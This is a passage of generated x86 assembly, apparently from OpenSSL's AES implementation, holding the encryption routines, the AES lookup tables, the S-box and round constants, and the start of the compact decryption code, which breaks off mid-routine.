movzx ebx,BYTE [ebx*1+ebp-128]
shl ebx,16
xor edx,ebx
mov ebx,DWORD [8+esp]
movzx ecx,BYTE [ecx*1+ebp-128]
shl ecx,24
xor edx,ecx
mov ecx,esi
xor eax,DWORD [16+edi]
xor ebx,DWORD [20+edi]
xor ecx,DWORD [24+edi]
xor edx,DWORD [28+edi]
ret
align 16
__sse_AES_encrypt_compact:
pxor mm0,[edi]
pxor mm4,[8+edi]
mov esi,DWORD [240+edi]
lea esi,[esi*1+esi-2]
lea esi,[esi*8+edi]
mov DWORD [24+esp],esi
mov eax,454761243
mov DWORD [8+esp],eax
mov DWORD [12+esp],eax
mov eax,DWORD [ebp-128]
mov ebx,DWORD [ebp-96]
mov ecx,DWORD [ebp-64]
mov edx,DWORD [ebp-32]
mov eax,DWORD [ebp]
mov ebx,DWORD [32+ebp]
mov ecx,DWORD [64+ebp]
mov edx,DWORD [96+ebp]
align 16
L$001loop:
pshufw mm1,mm0,8
pshufw mm5,mm4,13
movd eax,mm1
movd ebx,mm5
mov DWORD [20+esp],edi
movzx esi,al
movzx edx,ah
pshufw mm2,mm0,13
movzx ecx,BYTE [esi*1+ebp-128]
movzx edi,bl
movzx edx,BYTE [edx*1+ebp-128]
shr eax,16
shl edx,8
movzx esi,BYTE [edi*1+ebp-128]
movzx edi,bh
shl esi,16
pshufw mm6,mm4,8
or ecx,esi
movzx esi,BYTE [edi*1+ebp-128]
movzx edi,ah
shl esi,24
shr ebx,16
or edx,esi
movzx esi,BYTE [edi*1+ebp-128]
movzx edi,bh
shl esi,8
or ecx,esi
movzx esi,BYTE [edi*1+ebp-128]
movzx edi,al
shl esi,24
or ecx,esi
movzx esi,BYTE [edi*1+ebp-128]
movzx edi,bl
movd eax,mm2
movd mm0,ecx
movzx ecx,BYTE [edi*1+ebp-128]
movzx edi,ah
shl ecx,16
movd ebx,mm6
or ecx,esi
movzx esi,BYTE [edi*1+ebp-128]
movzx edi,bh
shl esi,24
or ecx,esi
movzx esi,BYTE [edi*1+ebp-128]
movzx edi,bl
shl esi,8
shr ebx,16
or ecx,esi
movzx esi,BYTE [edi*1+ebp-128]
movzx edi,al
shr eax,16
movd mm1,ecx
movzx ecx,BYTE [edi*1+ebp-128]
movzx edi,ah
shl ecx,16
and eax,255
or ecx,esi
punpckldq mm0,mm1
movzx esi,BYTE [edi*1+ebp-128]
movzx edi,bh
shl esi,24
and ebx,255
movzx eax,BYTE [eax*1+ebp-128]
or ecx,esi
shl eax,16
movzx esi,BYTE [edi*1+ebp-128]
or edx,eax
shl esi,8
movzx ebx,BYTE [ebx*1+ebp-128]
or ecx,esi
or edx,ebx
mov edi,DWORD [20+esp]
movd mm4,ecx
movd mm5,edx
punpckldq mm4,mm5
add edi,16
cmp edi,DWORD [24+esp]
ja NEAR L$002out
movq mm2,[8+esp]
pxor mm3,mm3
pxor mm7,mm7
movq mm1,mm0
movq mm5,mm4
pcmpgtb mm3,mm0
pcmpgtb mm7,mm4
pand mm3,mm2
pand mm7,mm2
pshufw mm2,mm0,177
pshufw mm6,mm4,177
paddb mm0,mm0
paddb mm4,mm4
pxor mm0,mm3
pxor mm4,mm7
pshufw mm3,mm2,177
pshufw mm7,mm6,177
pxor mm1,mm0
pxor mm5,mm4
pxor mm0,mm2
pxor mm4,mm6
movq mm2,mm3
movq mm6,mm7
pslld mm3,8
pslld mm7,8
psrld mm2,24
psrld mm6,24
pxor mm0,mm3
pxor mm4,mm7
pxor mm0,mm2
pxor mm4,mm6
movq mm3,mm1
movq mm7,mm5
movq mm2,[edi]
movq mm6,[8+edi]
psrld mm1,8
psrld mm5,8
mov eax,DWORD [ebp-128]
pslld mm3,24
pslld mm7,24
mov ebx,DWORD [ebp-64]
pxor mm0,mm1
pxor mm4,mm5
mov ecx,DWORD [ebp]
pxor mm0,mm3
pxor mm4,mm7
mov edx,DWORD [64+ebp]
pxor mm0,mm2
pxor mm4,mm6
jmp NEAR L$001loop
align 16
L$002out:
pxor mm0,[edi]
pxor mm4,[8+edi]
ret
align 16
__x86_AES_encrypt:
mov DWORD [20+esp],edi
xor eax,DWORD [edi]
xor ebx,DWORD [4+edi]
xor ecx,DWORD [8+edi]
xor edx,DWORD [12+edi]
mov esi,DWORD [240+edi]
lea esi,[esi*1+esi-2]
lea esi,[esi*8+edi]
mov DWORD [24+esp],esi
align 16
L$003loop:
mov esi,eax
and esi,255
mov esi,DWORD [esi*8+ebp]
movzx edi,bh
xor esi,DWORD [3+edi*8+ebp]
mov edi,ecx
shr edi,16
and edi,255
xor esi,DWORD [2+edi*8+ebp]
mov edi,edx
shr edi,24
xor esi,DWORD [1+edi*8+ebp]
mov DWORD [4+esp],esi
mov esi,ebx
and esi,255
shr ebx,16
mov esi,DWORD [esi*8+ebp]
movzx edi,ch
xor esi,DWORD [3+edi*8+ebp]
mov edi,edx
shr edi,16
and edi,255
xor esi,DWORD [2+edi*8+ebp]
mov edi,eax
shr edi,24
xor esi,DWORD [1+edi*8+ebp]
mov DWORD [8+esp],esi
mov esi,ecx
and esi,255
shr ecx,24
mov esi,DWORD [esi*8+ebp]
movzx edi,dh
xor esi,DWORD [3+edi*8+ebp]
mov edi,eax
shr edi,16
and edx,255
and edi,255
xor esi,DWORD [2+edi*8+ebp]
movzx edi,bh
xor esi,DWORD [1+edi*8+ebp]
mov edi,DWORD [20+esp]
mov edx,DWORD [edx*8+ebp]
movzx eax,ah
xor edx,DWORD [3+eax*8+ebp]
mov eax,DWORD [4+esp]
and ebx,255
xor edx,DWORD [2+ebx*8+ebp]
mov ebx,DWORD [8+esp]
xor edx,DWORD [1+ecx*8+ebp]
mov ecx,esi
add edi,16
xor eax,DWORD [edi]
xor ebx,DWORD [4+edi]
xor ecx,DWORD [8+edi]
xor edx,DWORD [12+edi]
cmp edi,DWORD [24+esp]
mov DWORD [20+esp],edi
jb NEAR L$003loop
mov esi,eax
and esi,255
mov esi,DWORD [2+esi*8+ebp]
and esi,255
movzx edi,bh
mov edi,DWORD [edi*8+ebp]
and edi,65280
xor esi,edi
mov edi,ecx
shr edi,16
and edi,255
mov edi,DWORD [edi*8+ebp]
and edi,16711680
xor esi,edi
mov edi,edx
shr edi,24
mov edi,DWORD [2+edi*8+ebp]
and edi,4278190080
xor esi,edi
mov DWORD [4+esp],esi
mov esi,ebx
and esi,255
shr ebx,16
mov esi,DWORD [2+esi*8+ebp]
and esi,255
movzx edi,ch
mov edi,DWORD [edi*8+ebp]
and edi,65280
xor esi,edi
mov edi,edx
shr edi,16
and edi,255
mov edi,DWORD [edi*8+ebp]
and edi,16711680
xor esi,edi
mov edi,eax
shr edi,24
mov edi,DWORD [2+edi*8+ebp]
and edi,4278190080
xor esi,edi
mov DWORD [8+esp],esi
mov esi,ecx
and esi,255
shr ecx,24
mov esi,DWORD [2+esi*8+ebp]
and esi,255
movzx edi,dh
mov edi,DWORD [edi*8+ebp]
and edi,65280
xor esi,edi
mov edi,eax
shr edi,16
and edx,255
and edi,255
mov edi,DWORD [edi*8+ebp]
and edi,16711680
xor esi,edi
movzx edi,bh
mov edi,DWORD [2+edi*8+ebp]
and edi,4278190080
xor esi,edi
mov edi,DWORD [20+esp]
and edx,255
mov edx,DWORD [2+edx*8+ebp]
and edx,255
movzx eax,ah
mov eax,DWORD [eax*8+ebp]
and eax,65280
xor edx,eax
mov eax,DWORD [4+esp]
and ebx,255
mov ebx,DWORD [ebx*8+ebp]
and ebx,16711680
xor edx,ebx
mov ebx,DWORD [8+esp]
mov ecx,DWORD [2+ecx*8+ebp]
and ecx,4278190080
xor edx,ecx
mov ecx,esi
add edi,16
xor eax,DWORD [edi]
xor ebx,DWORD [4+edi]
xor ecx,DWORD [8+edi]
xor edx,DWORD [12+edi]
ret
align 64
L$AES_Te:
dd 2774754246,2774754246
dd 2222750968,2222750968
dd 2574743534,2574743534
dd 2373680118,2373680118
dd 234025727,234025727
dd 3177933782,3177933782
dd 2976870366,2976870366
dd 1422247313,1422247313
dd 1345335392,1345335392
dd 50397442,50397442
dd 2842126286,2842126286
dd 2099981142,2099981142
dd 436141799,436141799
dd 1658312629,1658312629
dd 3870010189,3870010189
dd 2591454956,2591454956
dd 1170918031,1170918031
dd 2642575903,2642575903
dd 1086966153,1086966153
dd 2273148410,2273148410
dd 368769775,368769775
dd 3948501426,3948501426
dd 3376891790,3376891790
dd 200339707,200339707
dd 3970805057,3970805057
dd 1742001331,1742001331
dd 4255294047,4255294047
dd 3937382213,3937382213
dd 3214711843,3214711843
dd 4154762323,4154762323
dd 2524082916,2524082916
dd 1539358875,1539358875
dd 3266819957,3266819957
dd 486407649,486407649
dd 2928907069,2928907069
dd 1780885068,1780885068
dd 1513502316,1513502316
dd 1094664062,1094664062
dd 49805301,49805301
dd 1338821763,1338821763
dd 1546925160,1546925160
dd 4104496465,4104496465
dd 887481809,887481809
dd 150073849,150073849
dd 2473685474,2473685474
dd 1943591083,1943591083
dd 1395732834,1395732834
dd 1058346282,1058346282
dd 201589768,201589768
dd 1388824469,1388824469
dd 1696801606,1696801606
dd 1589887901,1589887901
dd 672667696,672667696
dd 2711000631,2711000631
dd 251987210,251987210
dd 3046808111,3046808111
dd 151455502,151455502
dd 907153956,907153956
dd 2608889883,2608889883
dd 1038279391,1038279391
dd 652995533,652995533
dd 1764173646,1764173646
dd 3451040383,3451040383
dd 2675275242,2675275242
dd 453576978,453576978
dd 2659418909,2659418909
dd 1949051992,1949051992
dd 773462580,773462580
dd 756751158,756751158
dd 2993581788,2993581788
dd 3998898868,3998898868
dd 4221608027,4221608027
dd 4132590244,4132590244
dd 1295727478,1295727478
dd 1641469623,1641469623
dd 3467883389,3467883389
dd 2066295122,2066295122
dd 1055122397,1055122397
dd 1898917726,1898917726
dd 2542044179,2542044179
dd 4115878822,4115878822
dd 1758581177,1758581177
dd 0,0
dd 753790401,753790401
dd 1612718144,1612718144
dd 536673507,536673507
dd 3367088505,3367088505
dd 3982187446,3982187446
dd 3194645204,3194645204
dd 1187761037,1187761037
dd 3653156455,3653156455
dd 1262041458,1262041458
dd 3729410708,3729410708
dd 3561770136,3561770136
dd 3898103984,3898103984
dd 1255133061,1255133061
dd 1808847035,1808847035
dd 720367557,720367557
dd 3853167183,3853167183
dd 385612781,385612781
dd 3309519750,3309519750
dd 3612167578,3612167578
dd 1429418854,1429418854
dd 2491778321,2491778321
dd 3477423498,3477423498
dd 284817897,284817897
dd 100794884,100794884
dd 2172616702,2172616702
dd 4031795360,4031795360
dd 1144798328,1144798328
dd 3131023141,3131023141
dd 3819481163,3819481163
dd 4082192802,4082192802
dd 4272137053,4272137053
dd 3225436288,3225436288
dd 2324664069,2324664069
dd 2912064063,2912064063
dd 3164445985,3164445985
dd 1211644016,1211644016
dd 83228145,83228145
dd 3753688163,3753688163
dd 3249976951,3249976951
dd 1977277103,1977277103
dd 1663115586,1663115586
dd 806359072,806359072
dd 452984805,452984805
dd 250868733,250868733
dd 1842533055,1842533055
dd 1288555905,1288555905
dd 336333848,336333848
dd 890442534,890442534
dd 804056259,804056259
dd 3781124030,3781124030
dd 2727843637,2727843637
dd 3427026056,3427026056
dd 957814574,957814574
dd 1472513171,1472513171
dd 4071073621,4071073621
dd 2189328124,2189328124
dd 1195195770,1195195770
dd 2892260552,2892260552
dd 3881655738,3881655738
dd 723065138,723065138
dd 2507371494,2507371494
dd 2690670784,2690670784
dd 2558624025,2558624025
dd 3511635870,3511635870
dd 2145180835,2145180835
dd 1713513028,1713513028
dd 2116692564,2116692564
dd 2878378043,2878378043
dd 2206763019,2206763019
dd 3393603212,3393603212
dd 703524551,703524551
dd 3552098411,3552098411
dd 1007948840,1007948840
dd 2044649127,2044649127
dd 3797835452,3797835452
dd 487262998,487262998
dd 1994120109,1994120109
dd 1004593371,1004593371
dd 1446130276,1446130276
dd 1312438900,1312438900
dd 503974420,503974420
dd 3679013266,3679013266
dd 168166924,168166924
dd 1814307912,1814307912
dd 3831258296,3831258296
dd 1573044895,1573044895
dd 1859376061,1859376061
dd 4021070915,4021070915
dd 2791465668,2791465668
dd 2828112185,2828112185
dd 2761266481,2761266481
dd 937747667,937747667
dd 2339994098,2339994098
dd 854058965,854058965
dd 1137232011,1137232011
dd 1496790894,1496790894
dd 3077402074,3077402074
dd 2358086913,2358086913
dd 1691735473,1691735473
dd 3528347292,3528347292
dd 3769215305,3769215305
dd 3027004632,3027004632
dd 4199962284,4199962284
dd 133494003,133494003
dd 636152527,636152527
dd 2942657994,2942657994
dd 2390391540,2390391540
dd 3920539207,3920539207
dd 403179536,403179536
dd 3585784431,3585784431
dd 2289596656,2289596656
dd 1864705354,1864705354
dd 1915629148,1915629148
dd 605822008,605822008
dd 4054230615,4054230615
dd 3350508659,3350508659
dd 1371981463,1371981463
dd 602466507,602466507
dd 2094914977,2094914977
dd 2624877800,2624877800
dd 555687742,555687742
dd 3712699286,3712699286
dd 3703422305,3703422305
dd 2257292045,2257292045
dd 2240449039,2240449039
dd 2423288032,2423288032
dd 1111375484,1111375484
dd 3300242801,3300242801
dd 2858837708,2858837708
dd 3628615824,3628615824
dd 84083462,84083462
dd 32962295,32962295
dd 302911004,302911004
dd 2741068226,2741068226
dd 1597322602,1597322602
dd 4183250862,4183250862
dd 3501832553,3501832553
dd 2441512471,2441512471
dd 1489093017,1489093017
dd 656219450,656219450
dd 3114180135,3114180135
dd 954327513,954327513
dd 335083755,335083755
dd 3013122091,3013122091
dd 856756514,856756514
dd 3144247762,3144247762
dd 1893325225,1893325225
dd 2307821063,2307821063
dd 2811532339,2811532339
dd 3063651117,3063651117
dd 572399164,572399164
dd 2458355477,2458355477
dd 552200649,552200649
dd 1238290055,1238290055
dd 4283782570,4283782570
dd 2015897680,2015897680
dd 2061492133,2061492133
dd 2408352771,2408352771
dd 4171342169,4171342169
dd 2156497161,2156497161
dd 386731290,386731290
dd 3669999461,3669999461
dd 837215959,837215959
dd 3326231172,3326231172
dd 3093850320,3093850320
dd 3275833730,3275833730
dd 2962856233,2962856233
dd 1999449434,1999449434
dd 286199582,286199582
dd 3417354363,3417354363
dd 4233385128,4233385128
dd 3602627437,3602627437
dd 974525996,974525996
db 99,124,119,123,242,107,111,197
db 48,1,103,43,254,215,171,118
db 202,130,201,125,250,89,71,240
db 173,212,162,175,156,164,114,192
db 183,253,147,38,54,63,247,204
db 52,165,229,241,113,216,49,21
db 4,199,35,195,24,150,5,154
db 7,18,128,226,235,39,178,117
db 9,131,44,26,27,110,90,160
db 82,59,214,179,41,227,47,132
db 83,209,0,237,32,252,177,91
db 106,203,190,57,74,76,88,207
db 208,239,170,251,67,77,51,133
db 69,249,2,127,80,60,159,168
db 81,163,64,143,146,157,56,245
db 188,182,218,33,16,255,243,210
db 205,12,19,236,95,151,68,23
db 196,167,126,61,100,93,25,115
db 96,129,79,220,34,42,144,136
db 70,238,184,20,222,94,11,219
db 224,50,58,10,73,6,36,92
db 194,211,172,98,145,149,228,121
db 231,200,55,109,141,213,78,169
db 108,86,244,234,101,122,174,8
db 186,120,37,46,28,166,180,198
db 232,221,116,31,75,189,139,138
db 112,62,181,102,72,3,246,14
db 97,53,87,185,134,193,29,158
db 225,248,152,17,105,217,142,148
db 155,30,135,233,206,85,40,223
db 140,161,137,13,191,230,66,104
db 65,153,45,15,176,84,187,22
db 99,124,119,123,242,107,111,197
db 48,1,103,43,254,215,171,118
db 202,130,201,125,250,89,71,240
db 173,212,162,175,156,164,114,192
db 183,253,147,38,54,63,247,204
db 52,165,229,241,113,216,49,21
db 4,199,35,195,24,150,5,154
db 7,18,128,226,235,39,178,117
db 9,131,44,26,27,110,90,160
db 82,59,214,179,41,227,47,132
db 83,209,0,237,32,252,177,91
db 106,203,190,57,74,76,88,207
db 208,239,170,251,67,77,51,133
db 69,249,2,127,80,60,159,168
db 81,163,64,143,146,157,56,245
db 188,182,218,33,16,255,243,210
db 205,12,19,236,95,151,68,23
db 196,167,126,61,100,93,25,115
db 96,129,79,220,34,42,144,136
db 70,238,184,20,222,94,11,219
db 224,50,58,10,73,6,36,92
db 194,211,172,98,145,149,228,121
db 231,200,55,109,141,213,78,169
db 108,86,244,234,101,122,174,8
db 186,120,37,46,28,166,180,198
db 232,221,116,31,75,189,139,138
db 112,62,181,102,72,3,246,14
db 97,53,87,185,134,193,29,158
db 225,248,152,17,105,217,142,148
db 155,30,135,233,206,85,40,223
db 140,161,137,13,191,230,66,104
db 65,153,45,15,176,84,187,22
db 99,124,119,123,242,107,111,197
db 48,1,103,43,254,215,171,118
db 202,130,201,125,250,89,71,240
db 173,212,162,175,156,164,114,192
db 183,253,147,38,54,63,247,204
db 52,165,229,241,113,216,49,21
db 4,199,35,195,24,150,5,154
db 7,18,128,226,235,39,178,117
db 9,131,44,26,27,110,90,160
db 82,59,214,179,41,227,47,132
db 83,209,0,237,32,252,177,91
db 106,203,190,57,74,76,88,207
db 208,239,170,251,67,77,51,133
db 69,249,2,127,80,60,159,168
db 81,163,64,143,146,157,56,245
db 188,182,218,33,16,255,243,210
db 205,12,19,236,95,151,68,23
db 196,167,126,61,100,93,25,115
db 96,129,79,220,34,42,144,136
db 70,238,184,20,222,94,11,219
db 224,50,58,10,73,6,36,92
db 194,211,172,98,145,149,228,121
db 231,200,55,109,141,213,78,169
db 108,86,244,234,101,122,174,8
db 186,120,37,46,28,166,180,198
db 232,221,116,31,75,189,139,138
db 112,62,181,102,72,3,246,14
db 97,53,87,185,134,193,29,158
db 225,248,152,17,105,217,142,148
db 155,30,135,233,206,85,40,223
db 140,161,137,13,191,230,66,104
db 65,153,45,15,176,84,187,22
db 99,124,119,123,242,107,111,197
db 48,1,103,43,254,215,171,118
db 202,130,201,125,250,89,71,240
db 173,212,162,175,156,164,114,192
db 183,253,147,38,54,63,247,204
db 52,165,229,241,113,216,49,21
db 4,199,35,195,24,150,5,154
db 7,18,128,226,235,39,178,117
db 9,131,44,26,27,110,90,160
db 82,59,214,179,41,227,47,132
db 83,209,0,237,32,252,177,91
db 106,203,190,57,74,76,88,207
db 208,239,170,251,67,77,51,133
db 69,249,2,127,80,60,159,168
db 81,163,64,143,146,157,56,245
db 188,182,218,33,16,255,243,210
db 205,12,19,236,95,151,68,23
db 196,167,126,61,100,93,25,115
db 96,129,79,220,34,42,144,136
db 70,238,184,20,222,94,11,219
db 224,50,58,10,73,6,36,92
db 194,211,172,98,145,149,228,121
db 231,200,55,109,141,213,78,169
db 108,86,244,234,101,122,174,8
db 186,120,37,46,28,166,180,198
db 232,221,116,31,75,189,139,138
db 112,62,181,102,72,3,246,14
db 97,53,87,185,134,193,29,158
db 225,248,152,17,105,217,142,148
db 155,30,135,233,206,85,40,223
db 140,161,137,13,191,230,66,104
db 65,153,45,15,176,84,187,22
dd 1,2,4,8
dd 16,32,64,128
dd 27,54,0,0
dd 0,0,0,0
global _AES_encrypt
align 16
_AES_encrypt:
L$_AES_encrypt_begin:
push ebp
push ebx
push esi
push edi
mov esi,DWORD [20+esp]
mov edi,DWORD [28+esp]
mov eax,esp
sub esp,36
and esp,-64
lea ebx,[edi-127]
sub ebx,esp
neg ebx
and ebx,960
sub esp,ebx
add esp,4
mov DWORD [28+esp],eax
call L$004pic_point
L$004pic_point:
pop ebp
lea eax,[_OPENSSL_ia32cap_P]
lea ebp,[(L$AES_Te-L$004pic_point)+ebp]
lea ebx,[764+esp]
sub ebx,ebp
and ebx,768
lea ebp,[2176+ebx*1+ebp]
bt DWORD [eax],25
jnc NEAR L$005x86
movq mm0,[esi]
movq mm4,[8+esi]
call __sse_AES_encrypt_compact
mov esp,DWORD [28+esp]
mov esi,DWORD [24+esp]
movq [esi],mm0
movq [8+esi],mm4
emms
pop edi
pop esi
pop ebx
pop ebp
ret
align 16
L$005x86:
mov DWORD [24+esp],ebp
mov eax,DWORD [esi]
mov ebx,DWORD [4+esi]
mov ecx,DWORD [8+esi]
mov edx,DWORD [12+esi]
call __x86_AES_encrypt_compact
mov esp,DWORD [28+esp]
mov esi,DWORD [24+esp]
mov DWORD [esi],eax
mov DWORD [4+esi],ebx
mov DWORD [8+esi],ecx
mov DWORD [12+esi],edx
pop edi
pop esi
pop ebx
pop ebp
ret
align 16
__x86_AES_decrypt_compact:
mov DWORD [20+esp],edi
xor eax,DWORD [edi]
xor ebx,DWORD [4+edi]
xor ecx,DWORD [8+edi]
xor edx,DWORD [12+edi]
mov esi,DWORD [240+edi]
lea esi,[esi*1+esi-2]
lea esi,[esi*8+edi]
mov DWORD [24+esp],esi
mov edi,DWORD [ebp-128]
mov esi,DWORD [ebp-96]
mov edi,DWORD [ebp-64]
mov esi,DWORD [ebp-32]
mov edi,DWORD [ebp]
mov esi,DWORD [32+ebp]
mov edi,DWORD [64+ebp]
mov esi,DWORD [96+ebp]
align 16
L$006loop:
mov esi,eax
and esi,255
movzx esi,BYTE [esi*1+ebp-128]
movzx edi,dh
movzx edi,BYTE [edi*1+ebp-128]
shl edi,8
xor esi,edi
mov edi,ecx
shr edi,16
and edi,255
movzx edi,BYTE [edi*1+ebp-128]
shl edi,16
xor esi,edi
mov edi,ebx
shr edi,24
movzx edi,BYTE [edi*1+ebp-128]
shl edi,24
xor esi,edi
mov DWORD [4+esp],esi
mov esi,ebx
and esi,255
movzx esi,BYTE [esi*1+ebp-128]
movzx edi,ah
movzx edi,BYTE [edi*1+ebp-128]
shl edi,8
xor esi,edi
mov edi,edx
shr edi,16
and edi,255
movzx edi,BYTE [edi*1+ebp-128]
shl edi,16
xor esi,edi
mov edi,ecx
shr edi,24
movzx edi,BYTE [edi*1+ebp-128]
shl edi,24
xor esi,edi
mov DWORD [8+esp],esi
mov esi,ecx
and esi,255
movzx esi,BYTE [esi*1+ebp-128]
movzx edi,bh
movzx edi,BYTE [edi*1+ebp-128]
shl edi,8
xor esi,edi
mov edi,eax
shr edi,16
and edi,255
movzx edi,BYTE [edi*1+ebp-128]
shl edi,16
xor esi,edi
mov edi,edx
shr edi,24
movzx edi,BYTE [edi*1+ebp-128]
shl edi,24
xor esi,edi
and edx,255
movzx edx,BYTE [edx*1+ebp-128]
movzx ecx,ch
movzx ecx,BYTE [ecx*1+ebp-128]
shl ecx,8
xor edx,ecx
mov ecx,esi
shr ebx,16
and ebx,255
movzx ebx,BYTE [ebx*1+ebp-128]
shl ebx,16
xor edx,ebx
shr eax,24
movzx eax,BYTE [eax*1+ebp-128]
shl eax,24
xor edx,eax
mov edi,2155905152
and edi,ecx
mov esi,edi
shr edi,7
lea eax,[ecx*1+ecx]
sub esi,edi
and eax,4278124286
and esi,454761243
xor eax,esi
mov edi,2155905152
and edi,eax
mov esi,edi
shr edi,7
lea ebx,[eax*1+eax]
sub esi,edi
and ebx,4278124286
and esi,454761243
xor eax,ecx
xor ebx,esi
mov edi,2155905152
and edi,ebx
mov esi,edi
shr edi,7
lea ebp,[ebx*1+ebx]
sub esi,edi
and ebp,4278124286
and esi,454761243
xor ebx,ecx
rol ecx,8
xor ebp,esi
xor ecx,eax
xor eax,ebp
xor ecx,ebx
xor ebx,ebp
rol eax,24
xor ecx,ebp
rol ebx,16
xor ecx,eax
rol ebp,8
xor ecx,ebx
mov eax,DWORD [4+esp]
xor ecx,ebp
mov DWORD [12+esp],ecx
mov edi,2155905152
and edi,edx
mov esi,edi
shr edi,7
lea ebx,[edx*1+edx]
sub esi,edi
and ebx,4278124286
and esi,454761243
xor ebx,esi
mov edi,2155905152
and edi,ebx
mov esi,edi
shr edi,7
lea ecx,[ebx*1+ebx]
sub esi,edi
and ecx,4278124286
and esi,454761243
xor ebx,edx
xor ecx,esi
mov edi,2155905152
and edi,ecx
mov esi,edi
shr edi,7
lea ebp,[ecx*1+ecx]
sub esi,edi
and ebp,4278124286
and esi,454761243
xor ecx,edx
rol edx,8
xor ebp,esi
xor edx,ebx
xor ebx,ebp
xor edx,ecx
xor ecx,ebp
rol ebx,24
xor edx,ebp
rol ecx,16
xor edx,ebx
rol ebp,8
xor edx,ecx
mov ebx,DWORD [8+esp]
xor edx,ebp
mov DWORD [16+esp],edx
mov edi,2155905152
and edi,eax
mov esi,edi
shr edi,7
lea ecx,[eax*1+eax]
sub esi,edi
and ecx,4278124286
and esi,454761243
xor ecx,esi
mov edi,2155905152
and edi,ecx
mov esi,edi
shr edi,7
lea edx,[ecx*1+ecx]
sub esi,edi
and edx,4278124286
and esi,454761243
xor ecx,eax
xor edx,esi
mov edi,2155905152
and edi,edx
mov esi,edi
shr edi,7
lea ebp,[edx*1+edx]
sub esi,edi
and ebp,4278124286
and esi,454761243
xor edx,eax
rol eax,8
xor ebp,esi
xor eax,ecx
xor ecx,ebp
xor eax,edx
xor edx,ebp
rol ecx,24
xor eax,ebp
rol edx,16
xor eax,ecx
rol ebp,8
xor eax,edx
xor eax,ebp
mov edi,2155905152
and edi,ebx
mov esi,edi
shr edi,7
lea ecx,[ebx*1+ebx]
sub esi,edi
and ecx,4278124286
and esi,454761243
xor ecx,esi
mov edi,2155905152
and edi,ecx
mov esi,edi
shr edi,7
lea edx,[ecx*1+ecx]
sub esi,edi
and edx,4278124286
and esi,454761243
xor ecx,ebx
xor edx,esi
mov edi,2155905152
and edi,edx
mov esi,edi
shr edi,7
lea ebp,[edx*1+edx]
sub esi,edi
and ebp,4278124286
and esi,454761243
xor edx,ebx
rol ebx,8
xor ebp,esi
xor ebx,ecx
xor ecx,ebp
xor ebx,edx
xor edx,ebp
rol ecx,24
xor ebx,ebp
rol edx,16
xor ebx,ecx
rol ebp,8
xor ebx,edx
mov ecx,DWORD [12+esp]
xor ebx,ebp
mov edx,DWORD [16+esp]
mov edi,DWORD [20+esp]
mov ebp,DWORD [28+esp]
add edi,16
xor eax,DWORD [edi]
xor ebx,DWORD [4+edi]
xor ecx,DWORD [8+edi]
xor edx,DWORD [12+edi]
cmp edi,DWORD [24+esp]
mov DWORD [20+esp],edi
jb NEAR L$006loop
mov esi,eax
and esi,255
movzx esi,BYTE [esi*1+ebp-128]
movzx edi,dh
movzx edi,BYTE [edi*1+ebp-128]
shl edi,8
xor esi,edi
mov edi,ecx
shr edi,16
and edi,255
movzx edi,BYTE [edi*1+ebp-128]
shl edi,16
xor esi,edi
mov edi,ebx
shr edi,24
movzx edi,BYTE [edi*1+ebp-128]
shl edi,24
xor esi,edi
mov DWORD [4+esp],esi
mov esi,ebx
and esi,255
movzx esi,BYTE [esi*1+ebp-128]
movzx edi,ah
movzx edi,BYTE [edi*1+ebp-128]
shl edi,8
xor esi,edi
mov edi,edx
shr edi,16
and edi,255
movzx edi,BYTE [edi*1+ebp-128]
shl edi,16
xor esi,edi
mov edi,ecx
shr edi,24
movzx edi,BYTE [edi*1+ebp-128]
shl edi,24
xor esi,edi
mov DWORD [8+esp],esi
mov esi,ecx
and esi,255
movzx esi,BYTE [esi*1+ebp-128]
movzx edi,bh
movzx edi,BYTE [edi*1+ebp-128]
shl edi,8
xor esi,edi
mov edi,eax
shr edi,16
and edi,255
movzx edi,BYTE [edi*1+ebp-128]
shl edi,16
xor esi,edi
mov edi,edx
shr edi,24
movzx edi,BYTE [edi*1+ebp-128]
shl edi,24
xor esi,edi
mov edi,DWORD [20+esp]
and edx,255
movzx edx,BYTE [edx*1+ebp-128]
movzx ecx,ch
movzx ecx,BYTE [ecx*1+ebp-128]
shl ecx,8
xor edx,ecx
mov ecx,esi
shr ebx,16
and ebx,255
movzx ebx,BYTE [ebx*1+ebp-128]
shl ebx,16
xor edx,ebx
mov ebx,DWORD [8+esp]
shr eax,24
movzx eax,BYTE [eax*1+ebp-128]
shl eax,24
xor edx,eax
mov eax,DWORD [4+esp]
xor eax,DWORD [16+edi]
xor ebx,DWORD [20+edi]
xor ecx,DWORD [24+edi]
xor edx,DWORD [28+edi]
ret
align 16
__sse_AES_decrypt_compact:
pxor mm0,[edi]
pxor mm4,[8+edi]
mov esi,DWORD [240+edi]
lea esi,[esi*1+esi-2]
lea esi,[esi*8+edi]
mov DWORD [24+esp],esi
mov eax,454761243
mov DWORD [8+esp],eax
mov DWORD [12+esp],eax
mov eax,DWORD [ebp-128]
mov ebx,DWORD [ebp-96]
mov ecx,DWORD [ebp-64]
mov edx,DWORD [ebp-32]
mov eax,DWORD [ebp]
mov ebx,DWORD [32+ebp]
mov ecx,DWORD [64+ebp]
mov edx,DWORD [96+ebp]
align 16
L$007loop:
pshufw mm1,mm0,12
pshufw mm5,mm4,9
movd eax,mm1
movd ebx,mm5
mov DWORD [20+esp],edi
movzx esi,al
movzx edx,ah
pshufw mm2,mm0,6
movzx ecx,BYTE [esi*1+ebp-128]
movzx edi,bl
movzx edx,BYTE [edx*1+ebp-128]
shr eax,16
shl edx,8
movzx esi,BYTE [edi*1+ebp-128]
movzx edi,bh
shl esi,16
pshufw mm6,mm4,3
or ecx,esi
movzx esi,BYTE [edi*1+ebp-128]
movzx edi,ah
shl esi,24
shr ebx,16
or edx,esi
movzx esi,BYTE [edi*1+ebp-128]
movzx edi,bh
shl esi,24
or ecx,esi
movzx esi,BYTE [edi*1+ebp-128]
movzx edi,al
shl esi,8
movd eax,mm2
or ecx,esi
movzx esi,BYTE [edi*1+ebp-128]
movzx edi,bl
shl esi,16
movd ebx,mm6
movd mm0,ecx
movzx ecx,BYTE [edi*1+ebp-128]
movzx edi,al
or ecx,esi
movzx esi,BYTE [edi*1+ebp-128]
movzx edi,bl
or edx,esi
movzx esi,BYTE [edi*1+ebp-128]
movzx edi,ah
shl esi,16
shr eax,16
or edx,esi
movzx esi,BYTE [edi*1+ebp-128]
movzx edi,bh
shr ebx,16
shl esi,8
movd mm1,edx
movzx edx,BYTE [edi*1+ebp-128]
movzx edi,bh
shl edx,24
and ebx,255
or edx,esi
punpckldq mm0,mm1
movzx esi,BYTE [edi*1+ebp-128]
movzx edi,al
shl esi,8
movzx eax,ah
